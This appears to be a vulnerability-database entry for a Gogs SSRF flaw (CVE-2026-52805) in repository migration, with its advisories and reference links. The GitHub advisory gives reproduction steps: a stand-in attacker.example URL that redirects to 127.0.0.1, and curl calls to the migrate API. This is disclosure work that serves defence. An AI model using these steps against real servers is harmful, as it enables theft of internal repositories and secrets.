CVE-2026-52805
highpriority · track · 0EPSS 0.004 · 32 %ileDEEUUSEPSS · scored 2026-10-27
Gogs is an open source self-hosted Git service. Prior to 0.14.3, a Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository. This vulnerability is fixed in 0.14.3.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2013Gogs: Mehrere SchwachstellenDeutsch2026-06-18csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Gogs ausnutzen, um erweiterte Berechtigungen zu erlangen, beliebigen Code auszuführen – sogar mit erweiterten Berechtigungen, was zur vollständigen Kontrolle über das System führen kann –, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuführen, Benutzer auf bösartige Websites umzuleiten oder einen Denial-of-Service-Zustand zu verursachen.
- GHSA-g2f5-gjr4-qjvmGogs has a Migration Redirect Bypass that Leads to Internal Repository Theft2026-06-23ghsa · osvUS
# Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents.
- GO-2026-5387Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft in gogs.io/gogs2026-06-25vendor · osvUS
Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft in gogs.io/gogs. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: gogs.io/gogs before v0.14.3.
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (12)
External citations — patches, advisories, analysis.
- https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1bcnnvd
- https://github.com/gogs/gogs/pull/8324cnnvd
- https://github.com/gogs/gogs/releases/tag/v0.14.3cnnvd
- https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvmcnnvd
- https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1benisa_euvd
- https://github.com/gogs/gogs/pull/8324enisa_euvd
- https://github.com/gogs/gogs/releases/tag/v0.14.3enisa_euvd
- https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvmenisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan